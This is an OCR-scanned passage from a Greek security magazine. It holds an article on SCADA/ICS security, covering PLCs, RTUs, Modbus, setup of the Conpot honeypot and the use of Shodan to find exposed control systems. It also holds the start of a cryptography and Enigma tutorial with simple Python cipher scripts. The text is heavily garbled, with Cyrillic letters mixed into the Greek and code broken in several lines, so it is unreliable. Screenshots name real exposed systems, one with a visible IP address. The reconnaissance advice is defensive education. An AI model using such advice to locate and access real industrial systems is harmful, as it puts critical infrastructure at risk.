λότερη παρουσίαση και διαχείριση. Αυτό το περιβάλλον εἶναι γνωστό σαν HMI 
(Human Machine Interface). 


To Conpot honeypot μόλις ξεκίνησε τη λειτουργία του! 
Προσομοιώνοντας та πρωτόκολλα επικοινωνίας Modbus 
και SNMP, εἶναι σε θέση να καταγράψει επιθέσεις που 
στοιχεύουν συστήµατα SCADA. 


па іп: /usr/l 


Lon Ғашпа іп: 
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Фоокка, όλα та παραπάνω ενδέχεται να αποτελούν τμήματα του ἴδιου συστήµατος 
και Ох! ξεχωριστὲς μονάδες. Τα συστήµατα ЅСАРА/ІСЅ βρίσκονται κι αυτά опо απει- 
Ай: 
е Anò malware όπως та Stuxnet, Flame και риди! Τέτοια cyber weapons KaTa- 
σκευάζονται συχνὰ και στοχεύουν συστήματα SCADA. 


ο Апо εσωτερικὲς απειλὲς: H εξάπλωση του Stuxnet πραγματοποιήθηκε εκ των 
ἐσω, µε τη μόλυνση ενὸς σταθμού ελέγχου, αλλά ας µην πάμε μακριὰ... Ακόμη 
кі о βαριεστημένος υπάλληλος μπορεί να «παίξει» µε το σύστημα, για уа πε- 
ράσει την ора του ἡ για να προκαλέσει προβλήματα και πανικό, ως εκδίκηση 
για µια µείωση του μισθού. 


ο Апо κακόβουλους εισβολεὶς: Τα κἰνητρα εἶναι πολλά, μικρὰ αλλά και μεγάλα. 
Από ψυχολογικά (εἶναι, πράγματι, και λίγο μαγκιά να μπορείς να χειριστεὶς ολό- 
κληρη ανεμογεννήτρια :D) έως οικονομικἁ (βλέπε: βιοµηχανικἠ κατασκοπεία 
και φυσικά κυβερνοπόλεμος). 


Από τα διάφορα συστατικἁἀ των SCADA/ICS που αναφέρθηκαν παραπάνω, εκεἰνα 
που µας ενδιαφέρουν περισσότερο апо апошп ασφάλειας εἶναι οι Лоүкоі επεξεργα- 
στὲς και οι υπολογιστἐς/σταθμοἰ ελέγχου. Ας αναλύσουμε λίγο παραπάνω τη φύση 
καθενὸς. 


РІС, ЕТУ, EWB, HMI κι όλου του κόσμου та кала! 


O! λογικοἰ επεξεργαστές εἶναι εκείνοι που αναλαμβάνουν την πλειονότητα των ελἐγ- 
xwv και των πράξεων που τελούνται σε ἑνα σύστημα SCADA. Γενικά, χωρίζονται σε 
δύο κατηγορίες: Та РІС και τα RTU. Та РІС (Programmable Logic Controllers) εἶναι 


Хр, μόλις συνδεθήκαµε ως admin σε éva σύστημα 
ελέγχου μεταβλητών περιβάλλοντος και διαχείρισης 
ασφαλείας µιας εγκατάστασης. Кала πάμε! 

(Αυτοί πάλι, ὀχι.) 


Sincere ~- Iceweasel - 10 
File Edit View History Bookmarks Tools Help 
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АКСР sensorProbe2 v 2.0 


Location: Sincere Taipei 
Summary s 5 май Network System 
Sensor Settings 
Тешрегашге Роп 2 
Description |Ѕепѕайоп cardiac 64 
CurrentReading 23°C 
Status Normal 
Sensor Online/Offline Online 
Go Online/Offline |Online τί 
Сгііса! High |55 
АС Voltage Detector шатақ ну: —i 
DC Voltage Sensor WarningLow |15 
Relay Сгійсаі ом |5 
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[Security Save | Reset 
Motion Detector 

Setting —Y 
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сатегаРгоһе Integration 
Autosense Save | Reset 


Sensor Controlled Relay | TrapiEmailFiters | 
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Оп, μόλις βρήκαμε τη σελίδα πρόσβασης σε éva 
σύστημα διαχείρισης µιας ανεμογεννήτριας, 
κάπου στην Ασία. Ευτυχώς, η συγκεκριμένη εἶναι 
προστατευμένη µε Κωδικό! 


ηλεκτρονικὲς συσκευὲς που σχεδιάστηκαν για να αναλάβουν το ρὀλο της τέλεσης 
λογικὠν πράξεων, µε βάση τα δεδοµένα που συλλέγουν апо διάφορους αισθητἠρες. 
Οπτικἀ μοιάζουν µε συµπαγἠ κουτιά κι ορισμένες φορὲς ¿xouv πάνω τους κουμπιά 
ἡ µια πολὺ µικρή οθόνη. РЕС υπάρχουν σχεδὸν παντού: ὁπου υπάρχει ανάγκη για 
διαχείριση και ἐλεγχο τεχνικού εξοπλισμού και εἶναι αναγκαία η τήρηση συγκεκριμέ- 
νων κανόνων λογικής. Па παράδειγµα, ακόµα και στο σπίτι µας, то ασανσἑρ µας εἶναι 
πολύ пібауд να χρησιμοποιεί ἑνα ἡ παραπάνω РІС για τη λειτουργία του. Κάποιοι 
χρησιμοποιούν РІС για να δώσουν πρωτότυπες λύσεις σε καθημερινά προβλήμα- 
τα: http://bit.ly/plcfcm2. Μη νομἰζετε όμως ότι та РІС αναλαμβάνουν αποκλειστικἁ 
απλὲς διεργασίες. Το Stuxnet, λόγου χάρη, εἰχε ως στόχο та РІС συγκεκριμένης 
εταιρείας, та οποία ἦταν υπεύθυνα για τη λειτουργία των μηχανών Φφυγοκέντρησης 
σε μονάδες απεμπλουτισμού ουρανίου. Όπως καταλαβαίνετε, τα РІС χρησιμοποιού- 
ута! σχεδὀν παντού! 


Πέρα апо та РІС υπάρχει και µια δεύτερη κατηγορἰα συσκευών ελέγχου. Πρόκειται 
για τα λεγόμενα RTU, апо το Remote Terminal Units. Αυτά εἶναι σαφώς πιο ανε- 
πτυγμένα κι ¿xouv παραπάνω δυνατότητες апо та РІС. Τα ВТО αποτελούνται апо 
ξεχωριστά τμήματα (modules) που συνδέονται πάνω σε µια κεντρική μονάδα. Та 
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RTU προγραμματίζονται σε γλὠσσες όπως η С κι ἐχουν πολλὲς δυνατότητες που 
λείπουν апо та PLC, ὁπως το απομακρυσμένο upload νέου κὠδικα, η κρυπτογραφία, 
η ασύρματη επικοινωνία µε ραδιοσυχνότητες κ.λπ. 


Σχετικἀ µε τους υπολογιστές ελέγχου, арке! να πούμε πως αυτοί αποτελούν τη 
δίοδο για τη χρήση (ἡ κατάχρηση) των συστηµάτων SCADA. О дрос «υπολογιστές 
ελέγχου», όμως, εἶναι λίγο παραπλανητικός. Αν και υπάρχουν περιπτώσεις κατὰ τις 
οποίες αξιοποιούνται φυσικοί υπολογιστές, πολλὲς φορὲς ο «υπολογιστής ελέγχου» 
αποτελεὶ τµήµα ενὀὸς ВТО. Σε αυτὲς τις περιπτώσεις εγκαθίσταται ἑνας πυρήνας 
λειτουργικού συστήματος στο ВТО και στη συνέχεια ἑνας ειδικὀς web server, που 
ονομάζονται EWB (Embedded Web Server). Πάντως, κίνδυνοι υφίστανται σε κἆθε 
περίπτωση: 


а) Όταν χρησιμοποιείται ἑνας ξεχωριστός υπολογιστής, επικοινωνεἰ µε τις συσκευὲς 
SCADA μέσω еудс κλασικού πρωτοκόλλου επικοινωνίας (περισσότερα σε λίγο). H 
σχετικὴ εφαρμογἠ που τρέχει στον υπολογιστἠ αναλαμβάνει τη λειτουργία του όλου 
συστήματος, αλλά και την παρουσίαση των δεδομένων. Συνήθως αυτοί οι υπολογι- 
στὲς εἶναι ξέφραγα αμπέλια, αφού κανένας δεν τηρεί τους κανόνες ασφάλειας! Ἐτσι, 
εἶναι εὑκολο να γίνουν επιθέσεις µέσω malware. 


1.Ketels : СУ Hotel_Uden Address 20 on Lan 20 - Iceweasel 
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Ορίστε το περιβάλλον γραφικών για την εποπτεία 
και τον ἐλεγχο των υδραυλικών εγκατάστασεων 
ενός πολυτελούς ξενοδοχείου, στην Ολλανδία! Αυτό 
μάλλον δε χρειαζόταν να εἰναι online :/ 
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В) Όταν ο υπολογιστής ελέγχου αποτελεἰ τµήµα еудс ВТО, τρέχει ἑναν web server 
και µέσω αυτού προβάλλει το περιβάλλον διαχεἰρισης. Τα προβλήματα ξεκινούν όταν 
τα συστήματα αυτού του εἰδους παίρνουν δημόσιες ІР και εἶναι προσβάσιμα апо 
όλον τον κόσμο! Μη γελάτε καθόλου, γιατὶ αυτὸ αποτελεἰ καθημερινό φαινόμενο 
και θα то εξετάσουμε στη συνέχεια. "Еуас επιτιθέµενος µπορεί уа σκανἀρει διάφορα 
ІР blocks για να βρει τέτοιες συσκευὲς, για τις οποίες γνωρίζει ὁτι ἐχουν µια κάποια 
ευπάθεια. Υπάρχει βἐβαια και πιο απλἠ περίπτωση, ката την οποία ο υπεύθυνος χει- 
ριστἠς χρησιμοποιεί τον εργοστασιακὀ κωδικό πρὀσβασης στο σύστημα, τον οποίο 
εἶναι πολύ εὐκολο να μάθει каміс. 


Επικοινωνία συσκευών SCADA 


Last but not least (Σ.Τ.Ε. Δεν αναφέρω καν το αστείο), πρἐπει να αναφερθούμε 
στα πρωτόκολλα επικοινωνἰας που χρησιμοποιούν οι συσκευὲς SCADA/ICS. Γενικά, 
πρέπει να γνωρίζετε πως υπάρχουν πάνω апо 100 (κυριολεκτικά) πρωτόκολλα που 
χρησιμοποιούνται για την επικοινωνία μεταξύ συσκευών βιομηχανικού ελέγχου. Φυ- 
σικἀ, αυτό δεν σημαίνει оті ὁλα εἶναι εξίσου δημοφιλἠ ἡ ὁτι θα βρείτε συσκευὲς να 
τα χρησιμοποιούν. Αν θέλαμε диос να διαλέξουµε ἑνα апо αυτά, о καθαρὀς νικητής 


Ένα απὀ τα ενδιαφέροντα ευρήματα µας, ανήκει 
στο ΤΕΙ Αθηνών. Ευτυχώς, πρὀκειται για кат! αθώο 
και ђӧп ανοικτὀ στο κοινό. 
IceweaseL 
File Edit View History Bookmarks Tools Help 


BEšlhttp://195.130.108.15/ |92 


& [8 195.130.108.15 


О Σταθμός Μετεωώρολογικών Δεδομένων τοι! 
Εργαστηρίοιι Ανανεώσιμων Πηγών Ενέργειας 


τεκνολαγικὀ 
Εκπαιδευτικό 
Ίδρυμα 
Αθήνας 
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εἶναι το πρωτόκολλο Modbus. Πρόκειται για то de facto πρωτόκολλο επικοινωνίας 
yia TIG συσκευὲς SCADA. Εἶναι πολὺ παλιὸ (σχεδιάστηκε το 1979) και φτιάχτηκε ano- 
κλειστικἀ για χρήση σε РІС. Πα πολλά χρόνια στηριζόταν στη σειραϊκή επικοινωνἰα, 
Еу το 1999 πέρασε στο TCP/IP. Υπολογίζεται ότι υπάρχουν πάνω апо 7 εκατομμύ- 
piq συσκευὲς συνδεδεμένες µἐσω Modbus, στη Βὀρεια Αμερικἠ και στην Ευρώπη. 


Το Modbus ακολουθεἰ τη φιλοσοφία του master/slave, µε τον master να εἶναι συ- 
νήθως ἑνας υπολογιστής ελέγχου και τους slaves να εἶναι διάφορα RTU. H λογικἠ 
του master/slave δεν εἶναι ἴδια µε του client/server που γνωρίζουμε ὁλοι καλύτερα. 
Αν θέλετε την αναλογία μεταξὺ τους, σκεφτείτε ὁτι στην περίπτωση των SCADA о 
server εἶναι τα ВТО που σερβίρουν δεδομένα και ο client εἶναι ο υπολογιστής ελἐγ- 
хоо, о οποίος ζητάει τα δεδομένα! Ката τα σύνδεση σε ёха δίκτυο Modbus, κάθε ou- 
σκευἠ αποκτά µοναδικἠή διεύθυνση η οποία χρησιμοποιείται για την λήψη εντολών. 
Λόγω της παλαιότητας του πρωτοκόλλου, ἑνας εισβολέας ἡ ἑνας κακόβουλος σταθ- 
ндс (rogue station) μπορεἰ να στείλει ο ἰδιος εντολὲς σε ἆλλα ВТО ἡ να εκτελέἑσει 
επίθεση МІТМ (Мап-іп-Тһе-Міааіе). 


Апо τη σκοπιἁ του αμυνόμενου! 


То ζήτημα της ασφάλειας στα συστήματα SCADA έχει πολύ ψωμί, Архіка, θα δούμε 
την αμυντικἠ και ερευνητικἠ πλευρά του Өёратос̧. Στην προσπἀθειἁ µας αυτή θα мас 
βοηθήσει ἑνα ωραιότατο honeypot! Όσο και αν φαίνεται παράξενο, μέχρι πριν апо 
λἰγο каро δεν εἶχε αναπτύξει κανένας κάποιο μοντέρνο πρὀγραμμα προσομοίωσης 
των συστημάτων SCADA. Υπήρχαν μόνο μερικὰ σχετικα scripts για то Нопеуа (ἑνα 
περίφημο honeypot). Προς ἐκπληξη όλων, όμως, ο πολὺ καλὸς ἄνθρωπος που ἐχει 
αναπτύξει то СіасіорҒ web honeypot αποφάσισε να πατήσει поё! Έτσι, πριν апо 
σχεδὸν va µήνα κυκλοφόρησε στο GitHub η πρώτη ἐκδοση ενὸς SCADA honeypot, 
µε την ονομασία Conpot! Το Сопрої εἶναι γραμμένο σε Python και προσομοιώνει τη 
λειτουργία ενὸς Siemens РІС (για την ακρίβεια το μοντέλο SIMATIC 57-200), το 
οποίο διαθέτει επάνω του ἑνα Ethernet module (όπως θα συνέβαινε και σε ἑνα πραγ- 
ματικὀ σενάριο). Το εν λόγω honeypot ἐχει δυνατότητα επικοινωνίας µέσω Modbus ἡ 
SNMP και, αφού το θέσουμε σε λειτουργία, θα καταγράφει τις επιθέσεις που δέχεται 
μέσω αυτών των πρωτοκὀλλων. Ας δούμε την εγκατἀστασὴ του. Па тіс δικὲς µας 
δοκιμὲς χρησιμοποιήσαμε το Ubuntu Desktop 12.04. Ξεκινάμε µε ша αναβάθμιση 
του συστήματος: 


root@snf-14958:~# aptitude update 8% aptitude safe-upgrade 

Στη συνέχεια κατεβάζουμε тоу κὠδικα του honeypot апо To GitHub: 
root@snf-14958:~# са /opt/ 
root@snf-14958:/opt# aptitude install git git-core 
root@snf-14958:/opt# git clone git://github.com/glastopf/conpot.git 
Cloning into 'conpot'... 
remote: Counting objects: 1041, done. 
remote: Compressing objects: 100% (479/479), done. 
remote: Total 1041 (delta 542), reused 1037 (delta 540) 
Receiving objects: 100% (1041/1041), 304.22 KiB | 212 KiB/s, done. 
Resolving deltas: 100% (542/542), done. 
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Оу, va και το прото θύμα :5 Δυστυχώς, κάποιος 
δεν πρὀσεξε καὶ To SCADA του παραβιάστηκε апд 
κακόβουλους χρήστες. Και να ἦταν το µόνο... 


Ακολούθως µεταγλωττίζουμε кі εγκαθιστούµε: 
root@snf-14958:/opt# са conpot/ 


root@snf-14958: /opt/conpot# aptitude install python-gevent python-1lxml 
python-sqlite 


root@snf-14958: /opt/conpot# python setup.py install 
Тора εἰμαστε ἐτοιμοι να ξεκινήσουμε To Conpot: 

root@snf-14958: /opt/conpot# са bin/ 

root@snf-14958: /opt/conpot/bin# python conpot 


Ta- -утааа! (> т.Е. Το ἄκουσα ауто.) То Conpot ἐχει ξεκινήσει και περιμένει υποµονε- 
тікі για συνδέσεις. Μόλις ανιχνεύσει κάποια, θα εμφανίσει αµέσως μια νέα γραμμή 
µε λεπτομέρειες για αυτή. Μπορείτε να το δοκιμάσετε πραγματοποιώντας μία σύν- 
δεση µέσω telnet στη θύρα 502, που ακούει о Modbus server: 


root@kali:~# telnet 83.212. ΧΧΧ. ΧΧΧ 502 
Trying 83.212.ΧΧΧ. ΧΧΧ... 
Connected to 83.212.ΧΧΧ. ΧΧΧ. 
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Escape character 15 "Т. 
Connection closed by foreign host. 


Μετην παραπάνω δοκιµἠ, στην κονσόλα του Conpot εμφανίζονται δύο εγγραφές για 
την σύνδεση και την αποσύνδεση του client: 


2013-06-14 22:07:41,210 New connection from 46.103. ΧΧΧ.ΧΧΧ:451606. 
(аасЗае02-сҒ39-46а9-94Ғ33-б6894е009се09) 


2013-06-14 22:07:46,216 Socket timeout, remote: 46.103.ХХХ.ХХХ. (ἀάς38εθ2- 
сҒЗ9-46а9-94Ғ33-0894е009се09) 


Σημείωση. Ау τρέχετε то Сопро σε κἄποιον απομακρυσμένο server και κλείσετε 
τη συνεδρία SSH, η λειτουργία του honeypot θα σταματήσει. Па να αποφύγετε 
κάτι τέτοιο, χρησιμοποιήστε το γνωστό πρόγραμμα screen! 


Το Conpot ἐχει ἑνα αρχείο ρυθµἰσεων µε την ονομασία conpot.cfg, που βρίσκεται 
μέσα στον κατάλογο /opt/conpot. Αν το ανοίξετε, θα διαπιστώσετε бт! εἶναι μικρὸ 
και δεν ἐχει πολλὲς επιλογές. Ωστόσο, кало θα ἦταν να ενεργοποιήσετε τη βάση 
δεδομένων SQLite (enabled True). Ἐτσι, οι συνδέσεις που δέχεται то conpot θα ano- 
θηκεύονται σε µια τοπική βάση δεδομένων, εντὸς του αρχείου conpot.db. 


Αν και παρατηρεἰται µια γενικότερη ἑξαρση των επιθέσεων ενάντια σε συστήματα 
SCADA, το δικὀ µας honeypot δεν κατέγραψε μεγάλο ὀγκο δεδομένων στις 5 ημέρες 
λειτουργίας του. Αξίζει να αναφέρουμε ὁμως ὁτι εἰχαμε συνδέσεις апо ΗΠΑ, N. Ko- 
рға και Γερμανία. Προτείνουμε να το δοκιμάσετε και μόνοι σας και μάλιστα για акдып 
μεγαλύτερο Χρονικό διάστηµα ;) 


Απὀ την σκοπιά του επιτιθἐµενου! 


Ας περάσουμε тора στην απέναντι πλευρά. Ας υποθέσουμε бт! θἐλουµε να βρούμε 
συστήματα SCADA, τα οποία ¿xouv ελεύθερη πρὀσβαση στο διαδίκτυο. Όπως eina- 
με, πολλά ЕТУ λειτουργούν σαν σταθμοί ελέγχου, εμφανίζοντας το περιβάλλον δια- 
χεἰρισης µέσω ενός мер server. Το πρόβλημα που επίσης αναφέραμε, εἶναι ότι πολλά 
апо αυτά та RTU ἐχουν δημόσιες διευθύνσεις ІР και εἶναι προσβάσιμα апо όλους! 
Κάπως έτσι προκύπτει то εξἠς ερώτημα: «Που ото кало θα βρω τέτοια συστήματα;» 
Н απάντηση εἰναι απλἠ και μονολεκτικἠ: Shodan! Πρόκειται για ша μηχανή αναζή- 
τησης, η οποία δεν ἐχει kapia σχέση µε εκείνες που γνωρίζουμε ὁλοι. Ενώ οι napa- 
δοσιακὲς μηχανὲς αναζήτησης σκανάρουν αδιάκοπα το περιεχόµενο ὁλων των ιστο- 
σελίδων, то Shodan σκανἀρει ІР blocks και αποθηκεύει, σε µια βάση δεδομένων, τις 
υπηρεσίες που τρέχουν σε κάθε μηχάνημα, та αντίστοιχα headers καθώς και τις 
αντἰστοιχες θύρες. Το header µιας υπηρεσίας εἶναι ἑνα κομμάτι κειµένου µε ιδιαίτερη 
σημασία, καθώς περιέχει πολύτιμες πληροφορίες για την εκάστοτε υπηρεσία (Екбо- 
ση λογισμικού, εἶδος υπηρεσίας к.а.). Έτσι, µέσα апо то Shodan μπορούμε να βρἰ- 
σκουµε υπολογιστὲς που τρέχουν µια συγκεκριμένη υπηρεσία ἡ που στο header 
τους περιέχουν ἑνα συγκεκριµένο χαρακτηριστικὀ (π.χ., το ὀνομα ενὸς συγκεκριµὲ- 
νου мер server). Σε όλα ашта προσθέστε και το γεγονὸς бт! то Shodan επιτρέπει την 
εισαγωγἠ διαφόρων φίλτρων στην αναζήτηση, ὥστε να περιορίσουµε τα αποτελὲ- 
σµατα σε µια συγκεκριμένη χώρα, σε ἑναν συγκριμένο ISP και πάει λέγοντας. Ау δεν 
ἐχετε σπεύσει ἠδη, δοκιμάσετε то Shodan тора (http://www.shodanhq.com). Па να 
βρείτε συστήματα SCADA μπορείτε να χρησιμοποιήσετε ёха ἡ περισσότερα апо τα 
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keywords που αναφἑρθηκαν ос тора µέσα στο άρθρο (е, µην σας та δώσουμε και 
στο πιάτο :Р). Στις εικὀνες του ἄρθρου θα δείτε μερικά ενδιαφἐροντα ευρήματα. 


Επίλογος 


Κάπου εδὠ φτάσαμε στο τέλος αυτού του μικρού αφιερώματος στα συστήματα ІС5/ 
5САРА. О τομέας της ασφάλειας αυτών των συσκευών εἶναι καυτός, καθώς κυβερ- 
νήσεις και οργανισμοί αντιλαμβάνονται дті το Internet εἶναι ἑνας ἄναρχος χώρος µε 
ατελείωτους κινδύνους. Εἶναι τουλάχιστον βλακώδες να υπάρχουν αυτή τη στιγμὴ 
εκατοντάδες κρίσιμα συστήματα ελέγχου, συνδεδεμένα απευθείας στο Διαδίκτυο! То 
ζήτημα δεν θα μπορούσε να εξαντληθεἰ σε ἑνα ἀρθρο. Εἰμαστε σίγουροι дті, σύντο- 
μα, θα ακούτε στα уға ὁλο και περισσότερες αναφορὲς στα SCADA και στα προβλἠ- 
ната τους. Και, πού ξέρετε, ἴσως επανέλθουµε και εμείς στο μέλλον, µε περισσότερα 
ευρήματα και τεχνικὲς γνώσεις. 
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Σας та λέγαμε. Na και ἑνας δεύτερος 
defaced web server συστήµατος SCADA, που 
ανακαλύψαμε µέσω του Shodan. 
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Μέρος 1ο: Κρυπτογραφία 101 & Εισαγωγἠ στο Enigma 


Δε νοµἰζουμµε να υπάρχει geek —kaı μάλιστα αναγνώστης του 
deltaHacker— που να µη γνωρίζει ἑστω κατ’ ὀνομα τη θρυλικἠ μηχανή 
κρυπτογράφησης Enigma. Σε ша εποχἠ που o! υπολογιστὲς δεν εἶχαν 

κάνει την εμφάνιση τους, πριν акорд κι απὀ τον θρυλικό ENIAC 
(http:/ /en.wikipedia.org/wiki/ ENIAC), ша μηχανή έθετε σε κίνδυνο 
την ἐκβαση του 2ου Παγκοσμίου Πολέμου: Βλέπετε, η μηχανή Enigma, 
µια εκπληκτική ηλεκτρομηχανικἠ κατασκευἠ κρυπτογράφησης/ 
αποκρυπτογράφησης, ανήκε στους Γερμανούς και χρησιμοποιούνταν 
για την απόρρητη επικοινωνία των αρχηγεἰων µε μονάδες στρατού και 
κυρίως υποβρύχια. Οἱ Γερμανοί τη θεωρούσαν απαραβίαστη — αλλά 
ευτυχώς για ὁλους µας ἐκαναν λάθος. 
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Κριωπτογραφία 101 ἃ Εισαγωγή στο Enigma 
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ë еркен такыммаре{5]}иомшхүу2 
яв 


> | υκιμναρακβτυνωκυΖ 


p Ввсрвғеніәкінффефезтиуихүг 
Ұсһеғвнілкіммағроввту 
ABCDEFGHIJKLMNOPQ 
аҒсһеғвнілкіммағо uvuxvz | 
бЕЙфреғвнізкімнағфвЕтиуыхүг 
Е 


Πιστεύω να συμφωνήσετε дті ша τέτοια vintage μηχανή κρυπτογράφησης χρειάζεται ка! 
ша vintage υλοποίηση. Εδώ, λοιπὀν, βλέπετε то αγαπημένο µας ΤΙ-99/4Α της δεκαετίας 
του "80, уа τρέχει εξοµοιωτή Enigma του... 40. Και, ναι, θα μπορέσετε кі εσείς να 
τρέξετε τον εξοµοιωτή Enigma, σε ἑναν εξοµοιωτή ТІ-99 (inception!) Λεπτομέρειες στο 
site του περιοδικού, στο http://deltahacker.gr/?p=9127. 


Στην κρυπτογραφία, ὁπως και σε ἄλλους χώρους που αφορούν στην ασφάλεια των 
υπολογιστών, ισχύει η αρχἠ «тап таке, пап break». Кі ау ακόµη και σήμερα, pE Ta 
τεράστια κλειδιὰ κρυπτογράφησης και τους πανίσχυρους, Open Source αλγόριθμους 
που ελέγχονται апо χιλιάδες προγραμματιστές, βρίσκουμε συνέχεια κενὰ ασφαλεἰ- 
ας, φανταστείτε τι θα ἴσχυε για ша μηχανὴ που ουσιαστικά αποτέλεσε τη version 
1.0 της σύγχρονης κρυπτογραφίας. Па να το πούμε апла και σύντομα, η υπερβολικἡ 
εμπιστοσύνη στις ικανότητες/δυνατὀτητες της (όποιας) µηχανἠς, βλάπτει σοβαρά та 
μυστικὰ μας! 


О σκοπὀς κάθε μηχανἠς ἡ αλγόριθμου κρυπτογράφησης, εἶναι πολύ απλός: Να παἰρ- 
νει ἑνα μήνυμα --στην περίπτωση του ENIAC éva απλὸ κείμενο (plaintext) αποτε- 
λούμενο μόνο апо та 26 γράμματα του λατινικού αλφάβητου-- και να το μετατρέπει 
σε криптбүранна (ciphertext), δηλαδή σε éva κωδικοποιημένο κι εντελώς ακαταλα- 
Бістіко κείμενο. Το ciphertext εἶναι δυνατὸν уа αποκωδικοποιηθεἰ μόνον апо ὀποιον 
γνωρίζει Èva συγκεκριµένο μυστικὀ, ὁπως, N.X., κωδικὀ, κλειδὶ ἡ συνδυασμὀ αυτών. 


Н μηχανή Enigma ἦταν µια ιδιαίτερα σοβαρἠ προσπάθεια στον τομέα αυτό, αφού 
όπως θα διαπιστώσετε σε λίγο εἰχε ισχύ περίπου 76bits κρυπτογράφησης, εξαιρετικἁ 
καλἠ για то 1940! 
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Cryptography 101 


To npòßànpa της κρυπτογράφησης υπήρχε ἠδη апо την αρχαιότητα. O! Σπαρτιάτες, 
για παράδειγµα, εἶχαν τη σκυτάλη, µια ξύλινη ράβδο µε συγκεκριμένη διάμετρο, 
γύρω апо την опо!а τύλιγαν σε ελικοειδἠ popo ἑναν πάπυρο. Σε αυτόν γραφόταν 
το αρχικό κείμενο και, ὀταν ξετυλιγόταν, ἦταν πλέον ακατάληπτο. Ектос φυσικά αν 
ο παραλήπτης διέθετε µια σκυτάλη ἰδιας διαμέτρου, για να το τυλἰξει ξανά. Προφα- 
уфс το κλειδὶ σε αυτή την περίπτωση εἶναι η διάμετρος της σκυτάλης. Λεπτομέρειες 
μπορείτε να διαβάσετε και στο σχετικὀ λήμμα της Wikipedia: http://el.wikipedia. 
ογβ/νι1Κ1/Κρυπτογραφία. 


Μια διαφορετικἠ, εξαιρετικἁ ασθενἠς, µἐθοδος κρυπτογράφησης, περιγράφεται апо 
τον αλγόριθμο του Καίσαρα: Σε αυτόν, каӨе γράμμα του αλφαβήτου μετατοπίζεται 
ορισμένες θέσεις μπροστά ἡ πἰσω. Εἶναι εξαιρετικἁ εὐκολο να γράψετε ἑνα npo- 
γραμματάκι στην αγαπημένη σας γλὠσσα προγραμματισμού (εννοούμε βἐβαια την 
Python), που να υλοποιεί τον αλγὀριθµο. Μη ξεχνάμε ἄλλωστε ὁτι, χάρη στον κὠδικα 
ASCII, то А ἐχει τιµή 65 και αν το µετατοπίσουµε 3 θέσεις δεξιὰ θα γίνει 68, δηλαδὴ 
D. Το μόνο που ἐχετε να κάνετε, λοιπὸν, εἶναι να χωρίσετε το μήνυμα σας σε үрар- 
рата και να εφαρµόσετε το παραπάνω σε κἆθε γράμμα. Δείτε: 


#! /usr/bin/env python 
# 
# Simple Caesar cipher 
# (shifts 3 places to the right) 
# we of course prefer Ceasar salads! 
# 
plaintext = raw_input("Enter text:") 
plaintext = р1аіпёех+.иррег() 
ciphertext = " 
for letter in plaintext: 
newletter = ord(letter) + 3 
if newletter > 90: 
newletter = newletter - 26 
ciphertext = ciphertext + chr(newletter) 
print ciphertext 
Αν στο прбүранна µας δώσετε ως єісобо τη λέξη KOLOKYTHI, θα πάρετε την ἐξοδο 
NRORNBWKL. Ας το δούμε аутд орос λίγο καλύτερα: 
K 0 L 0 K Y T H Т 
М R 0 R N B W K Е 
Παρατηρεἰτε κάτι; Ίδια γράμματα στο plaintext αντιστοιχούν πάντα ото ібію γράμμα 
στο ciphertext. Το О γίνεται πάντα R, то K γίνεται πάντα N κ.ο.κ. Δεν χρειάζεται 
καν να γράψετε ἑνα πρὀγραμμα που να αποκωδικοποιεἰ, δοκιμάζοντας ὀλες τις πι- 


θανὲς μετατοπίσεις χαρακτήρων. Αρκεἰ να ξέρετε σε ποια γλὠσσα εἶναι το μήνυμα. 
Πα κάθε γλὠσσα γνωρίζουμε ποιο εἶναι το συχνότερα χρησιμοποιούμενο γράμμα. 
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Πα παράδειγµα, για та ЕААпмка εἶναι то А και για τα Αγγλικά то E. (βλ. και http:// 
е1.мікірейіа.огр/мікі/АубаХооп Συχνότητας Γλώσσας). Με την προὐπόθεση дті το µή- 
уона µας ἐχει επαρκὲς μέγεθος, μπορούμε апла να μετρήσουμε το γράμμα που 
εμφανίζεται πιο συχνὰ και να βρούμε αμέσως το κλειδὶ! Ау δε µας πιστεύετε, ορἰστε 
ἑνα πρὀγραμμµα που μετράει τη συχνότητα γραμμάτων σε ёха αγγλικὀ κείμενο: 


#! /usr/bin/env python 
thetext = raw_input("Enter text:") 
thetext = thetext.upper() 
frequencylist = | 0 for i іп range(26)] 
for letter in thetext: 

letterord = ord(letter) 


if letterord>= 65 and letterord<=90: 


letterord -= 65 
frequencylist[letterord] += 1 
print frequencylist 


Δοκιμάστε να του δώσετε το παρακάτω 
ως кісобо: 


IF THIS WORKS ІТ WILL PROVE THAT 
THE MOST COMMON LETTER USED IN 
THE ENGLISH LANGUAGE IS E AND IT 
WILL HAVE THE HIGHEST FREQUENCY 
OF ALL THE LETTERS IN THIS MESSAGE 


Θα δείτε τον ακόλουθο πίνακα συχνοτἠ- 
των: 


[7, 0, 2, 2, 19, 3, 5, 11, 12, O, 1, 10, 4, 7, 
6, 1, 1, 5, 11, 16, 3, 2, 3, O, 1, 0] 


To E εμφανίζεται 19 φορὲς, περισσότερ 
δηλαδή апо οποιοδήποτε алло γράμμα. 
Σας προειδοποιἠσαμε! 


Καθώς καταλαβαίνετε, η κρυπτογράφη- 
ση του Καίσαρα εἶναι για τα (Ρωμαϊκά) 
πανηγύρια ἡ, αν προτιμάτε, εἶναι κολο- 
коба. Αν πρὀκειται у” ασχοληθεἰτε µε 
κάτι που σχετίζεται µε τον Καίσαρα, 
προτιμήστε την ομώνυμη σαλάτα. 


Εντάξει, σας ακούμε να λέτε: «δεν υπάρ- 
χει кат! καλύτερο апо όλα αυτά;» Στο 
κάτω като, τόση ора μιλάμε για αρχαι- 
ολογικἐς κρυπτογραφήσεις. Σίγουρα θα 
υπάρχει κάποια απλἠ κρυπτογράφηση 
που να µη спа εὐκολα. Δίκιο ἐχετε. Τι 
θα λέγατε λοιπὸν να δοκιµάζαμε µια Kpu- 


Reflector 


Le Middle Right 
Rotor Rotor Rotor 


ΛΝ... Right rotor 


advanced 
one positio 
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πτογράφηση, ὀπου το κλειδὶ δεν θα εἶναι ἑνας αριθμός алла ша оғіра αριθμών τους 
οποίους θα χρησιμοποιούμε κυκλικἀ. Φανταστείτε δηλαδή να ἐχουμε συμφωνήσει 
στο παρακάτω κλειδὶ: 


[ 2, 7, 3, 4, 9, 1 


Θα δουλεύαμε капос έτσι: Το прото γράμμα θα το µετατοπἰζαμε 2 θέσεις δεξιά, то 
επόμενο 7, το μεθεπόμενο 3 θέσεις κ.ο.κ. Όταν φτάσουμε στο τἐλος του κλειδιού, 
ξεκινάμε апо την αρχή. Па να γίνουμε πιο μοντέρνοι, το πρόγραµµα µας δεν θα kå- 
